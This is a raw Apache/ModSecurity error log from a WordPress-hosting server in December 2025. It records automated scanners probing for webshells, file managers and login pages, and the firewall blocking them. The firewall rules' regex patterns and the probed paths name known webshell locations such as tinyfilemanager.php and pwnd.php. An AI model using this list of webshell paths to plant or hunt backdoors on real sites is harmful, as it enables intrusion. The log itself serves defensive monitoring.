[Sat Dec 20 21:50:50.273259 2025] [:error] [pid 39493:tid 39561] [client 85.203.34.42:64811] [client 85.203.34.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.42, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aUapumhjL2VG_FmIHqAOjgAAAIw"]
[Sat Dec 20 21:50:50.897883 2025] [:error] [pid 39493:tid 39555] [client 85.203.34.42:64811] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aUapumhjL2VG_FmIHqAOlwAAAIY"]
[Sat Dec 20 21:50:51.492184 2025] [:error] [pid 14286:tid 14313] [client 85.203.34.45:52725] [client 85.203.34.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aUapu57rbXIrw6rGSdaYygAAAVc"]
[Sat Dec 20 21:50:54.457383 2025] [:error] [pid 33749:tid 33772] [client 85.203.34.8:50317] [client 85.203.34.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.8, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aUapvtoInXJnb96wei9_aAAAApU"]
[Sat Dec 20 21:50:54.733907 2025] [:error] [pid 33749:tid 33763] [client 85.203.34.8:50317] [client 85.203.34.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aUapvtoInXJnb96wei9_cAAAAow"]
[Sat Dec 20 21:50:55.305117 2025] [:error] [pid 39493:tid 39555] [client 85.203.34.17:36791] [client 85.203.34.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aUapv2hjL2VG_FmIHqAOyAAAAIY"]
[Sat Dec 20 21:50:55.896326 2025] [:error] [pid 39577:tid 39603] [client 85.203.34.49:37591] [client 85.203.34.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUapv7viRnt1rJiSOfx7vgAAANg"]
[Sat Dec 20 21:50:57.751647 2025] [:error] [pid 33793:tid 33816] [client 85.203.34.15:48041] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aUapwVSicyB0BFmbRMzkhwAAAtU"]
[Sat Dec 20 21:50:58.972903 2025] [:error] [pid 33749:tid 33751] [client 85.203.34.23:22423] [client 85.203.34.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/upload/css.php"] [unique_id "aUapwtoInXJnb96wei9_3gAAAoA"]
[Sat Dec 20 21:51:01.702321 2025] [:error] [pid 62124:tid 62138] [client 85.203.34.10:43853] [client 85.203.34.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "aUapxVs94zPA9ULQOjmSBwAAAAw"]
[Sat Dec 20 21:51:04.039393 2025] [:error] [pid 33844:tid 33867] [client 85.203.34.15:36977] [client 85.203.34.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUapyCaNtwGsyqqVmQEIvwAAAxU"]
[Sat Dec 20 21:51:05.573160 2025] [:error] [pid 14286:tid 14312] [client 85.203.34.4:51031] [client 85.203.34.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUapyZ7rbXIrw6rGSdaZQAAAAVY"]
[Sat Dec 20 21:51:07.390064 2025] [:error] [pid 39493:tid 39550] [client 85.203.34.9:41555] [client 85.203.34.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUapy2hjL2VG_FmIHqAPQQAAAIE"]
[Sat Dec 20 21:51:08.290982 2025] [:error] [pid 33749:tid 33753] [client 85.203.34.43:60927] [client 85.203.34.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aUapzNoInXJnb96wei-AnAAAAoI"]
[Sat Dec 20 21:51:08.902782 2025] [:error] [pid 33793:tid 33813] [client 85.203.34.24:59053] [client 85.203.34.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aUapzFSicyB0BFmbRMzlFwAAAtI"]
[Sat Dec 20 21:51:09.807147 2025] [:error] [pid 39493:tid 39568] [client 85.203.34.11:64687] [client 85.203.34.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUapzWhjL2VG_FmIHqAPZQAAAJM"]
[Sat Dec 20 21:51:10.668993 2025] [:error] [pid 14286:tid 14296] [client 85.203.34.50:26425] [client 85.203.34.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUapzp7rbXIrw6rGSdaZgwAAAUY"]
[Sat Dec 20 21:51:11.562322 2025] [:error] [pid 33570:tid 33579] [client 85.203.34.45:22351] [client 85.203.34.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aUapz4TNveA-c6YcSrIhXwAAAcM"]
[Sat Dec 20 21:51:12.763442 2025] [:error] [pid 62124:tid 62142] [client 85.203.34.8:35777] [client 85.203.34.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aUap0Fs94zPA9ULQOjmSpAAAABA"]
[Sat Dec 20 21:51:14.284283 2025] [:error] [pid 33570:tid 33581] [client 85.203.34.50:26175] [client 85.203.34.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aUap0oTNveA-c6YcSrIheAAAAcU"]
[Sat Dec 20 21:51:30.452082 2025] [autoindex:error] [pid 62124:tid 62133] [client 85.203.34.36:21607] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:51:59.793250 2025] [:error] [pid 62124:tid 62139] [client 85.203.34.36:21607] [client 85.203.34.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/plupload/"] [unique_id "aUap_1s94zPA9ULQOjmU7gAAAA0"]
[Sat Dec 20 21:52:39.490755 2025] [:error] [pid 33793:tid 33802] [client 85.203.34.35:48305] [client 85.203.34.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/twentytwentyone/"] [unique_id "aUaqJ1SicyB0BFmbRMzpHQAAAsc"]
[Sat Dec 20 21:52:41.845876 2025] [:error] [pid 33570:tid 33588] [client 85.203.34.34:60223] [client 85.203.34.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/simple/"] [unique_id "aUaqKYTNveA-c6YcSrIkKAAAAcw"]
[Sat Dec 20 21:53:23.603138 2025] [:error] [pid 62124:tid 62144] [client 85.203.34.24:42763] [client 85.203.34.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/js/tinymce/skins/lightgray/fonts/"] [unique_id "aUaqU1s94zPA9ULQOjmYIQAAABI"]
[Sat Dec 20 21:53:28.037935 2025] [:error] [pid 39493:tid 39562] [client 85.203.34.2:55537] [client 85.203.34.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/"] [unique_id "aUaqWGhjL2VG_FmIHqAUXAAAAI0"]
[Sat Dec 20 21:53:33.785083 2025] [authz_core:error] [pid 33749:tid 33769] [client 85.203.34.10:41679] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/
[Sun Dec 21 00:22:11.312291 2025] [:error] [pid 8640:tid 8665] [client 182.43.70.143:53311] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUbNM_VclzlEWWhvYtlShwAAAI8"]
[Sun Dec 21 01:13:56.770678 2025] [:error] [pid 22338:tid 22396] [client 45.88.186.197:58099] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUbZVHGYQSUt-opKpSIMRgAAAEs"]
[Sun Dec 21 01:13:57.228852 2025] [:error] [pid 8640:tid 8652] [client 45.88.186.197:58226] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUbZVfVclzlEWWhvYtlgGQAAAII"]
[Sun Dec 21 01:13:57.645452 2025] [:error] [pid 8641:tid 8679] [client 45.88.186.197:58387] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUbZVXE703usYSvQGLRXzwAAAME"]
[Sun Dec 21 01:13:58.083676 2025] [:error] [pid 8751:tid 8763] [client 45.88.186.197:58556] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUbZVmvrnuGjNP7vtDQXkQAAAAo"]
[Sun Dec 21 01:13:58.503231 2025] [:error] [pid 8751:tid 8764] [client 45.88.186.197:58734] [client 45.88.186.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUbZVmvrnuGjNP7vtDQXzwAAAAs"]
[Sun Dec 21 02:50:29.992403 2025] [:error] [pid 44515:tid 44518] [client 31.171.130.143:37403] [client 31.171.130.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aUbv9ZZAdBRP9gwGvJ5n7wAAAYA"]
[Sun Dec 21 02:50:31.798883 2025] [:error] [pid 8640:tid 8667] [client 31.171.130.148:56787] [client 31.171.130.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aUbv9_VclzlEWWhvYtme2AAAAJE"]
[Sun Dec 21 02:50:34.663491 2025] [:error] [pid 43680:tid 43703] [client 31.171.130.148:39197] [client 31.171.130.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUbv-kDkAAJVjNqC6UXU0wAAAVM"]
[Sun Dec 21 02:50:36.223677 2025] [:error] [pid 8642:tid 8708] [client 31.171.130.107:57835] [client 31.171.130.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUbv_CJkiik8k41igp1IeAAAAQU"]
[Sun Dec 21 02:50:38.685911 2025] [:error] [pid 22338:tid 22406] [client 31.171.130.158:32591] [client 31.171.130.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUbv_nGYQSUt-opKpSJZYgAAAFU"]
[Sun Dec 21 02:50:39.569636 2025] [:error] [pid 44515:tid 44524] [client 31.171.130.138:34817] [client 31.171.130.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUbv_5ZAdBRP9gwGvJ5oLgAAAYY"]
[Sun Dec 21 02:50:40.196569 2025] [:error] [pid 43680:tid 43693] [client 31.171.130.160:63097] [client 31.171.130.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUbwAEDkAAJVjNqC6UXU-wAAAUk"]
[Sun Dec 21 02:50:40.800565 2025] [:error] [pid 8640:tid 8674] [client 31.171.130.141:36371] [client 31.171.130.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUbwAPVclzlEWWhvYtmfDAAAAJg"]
[Sun Dec 21 02:50:41.712510 2025] [:error] [pid 8751:tid 8758] [client 31.171.130.149:26509] [client 31.171.130.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUbwAWvrnuGjNP7vtDRzLQAAAAU"]
[Sun Dec 21 02:50:42.297515 2025] [:error] [pid 8641:tid 8693] [client 31.171.130.116:34279] [client 31.171.130.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUbwAnE703usYSvQGLSYawAAAM4"]
[Sun Dec 21 02:50:43.194123 2025] [:error] [pid 8642:tid 8711] [client 31.171.130.130:37889] [client 31.171.130.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUbwAyJkiik8k41igp1IsAAAAQc"]
[Sun Dec 21 02:50:44.426733 2025] [:error] [pid 8751:tid 8763] [client 31.171.130.114:40973] [client 31.171.130.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUbwBGvrnuGjNP7vtDRzUQAAAAo"]
[Sun Dec 21 02:50:46.017964 2025] [:error] [pid 22338:tid 22393] [client 31.171.130.129:28855] [client 31.171.130.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUbwBnGYQSUt-opKpSJZmAAAAEk"]
[Sun Dec 21 02:50:46.912577 2025] [:error] [pid 43680:tid 43705] [client 31.171.130.112:38487] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUbwBkDkAAJVjNqC6UXVJQAAAVU"]
[Sun Dec 21 02:50:47.832456 2025] [:error] [pid 44515:tid 44534] [client 31.171.130.112:20609] [client 31.171.130.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUbwB5ZAdBRP9gwGvJ5odgAAAZA"]
[Sun Dec 21 02:50:52.034566 2025] [:error] [pid 44515:tid 44530] [client 31.171.130.137:45727] [client 31.171.130.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUbwDJZAdBRP9gwGvJ5olwAAAYw"]
[Sun Dec 21 02:50:52.931454 2025] [:error] [pid 8640:tid 8658] [client 31.171.130.109:31205] [client 31.171.130.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUbwDPVclzlEWWhvYtmfewAAAIg"]
[Sun Dec 21 02:50:54.150149 2025] [:error] [pid 8640:tid 8665] [client 31.171.130.121:60165] [client 31.171.130.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUbwDvVclzlEWWhvYtmfigAAAI8"]
[Sun Dec 21 02:50:55.087888 2025] [:error] [pid 44515:tid 44523] [client 31.171.130.129:25729] [client 31.171.130.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUbwD5ZAdBRP9gwGvJ5osAAAAYU"]
